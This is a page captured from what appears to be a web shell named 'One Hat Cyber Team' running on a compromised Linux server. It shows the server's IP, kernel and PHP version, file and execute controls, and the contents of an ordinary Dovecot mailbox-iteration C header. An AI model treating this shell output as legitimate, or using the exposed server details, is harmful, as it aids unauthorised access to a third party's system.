One Hat Cyber Team
Your IP :
3.144.96.113
Server IP :
103.133.214.160
Server :
Linux venus.ewebguru.net 4.18.0-553.30.1.el8_10.x86_64 #1 SMP Tue Nov 26 02:30:26 EST 2024 x86_64
Server Software :
Apache/2
PHP Version :
8.1.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
include
/
dovecot
/
View File Name :
mailbox-list-iter-private.h
#ifndef MAILBOX_LIST_ITER_PRIVATE_H #define MAILBOX_LIST_ITER_PRIVATE_H #include "mailbox-list-private.h" #include "mailbox-list-iter.h" #include "mailbox-list-delete.h" struct autocreate_box { const char *name; const struct mailbox_settings *set; enum mailbox_info_flags flags; bool child_listed; }; ARRAY_DEFINE_TYPE(mailbox_settings, struct mailbox_settings *); struct mailbox_list_autocreate_iterate_context { unsigned int idx; struct mailbox_info new_info; ARRAY(struct autocreate_box) boxes; ARRAY_TYPE(mailbox_settings) box_sets; ARRAY_TYPE(mailbox_settings) all_ns_box_sets; HASH_TABLE(char *, char *) duplicate_vnames; bool listing_autoboxes:1; }; static inline bool mailbox_list_iter_try_delete_noselect(struct mailbox_list_iterate_context *ctx, const struct mailbox_info *info, const char *storage_name) { if ((info->flags & (MAILBOX_NOSELECT|MAILBOX_NOCHILDREN)) == (MAILBOX_NOSELECT|MAILBOX_NOCHILDREN) && ctx->list->set.no_noselect) { /* Try to rmdir() all \NoSelect mailbox leafs and afterwards their parents. */ mailbox_list_delete_mailbox_until_root(ctx->list, storage_name); return TRUE; } return FALSE; } #endif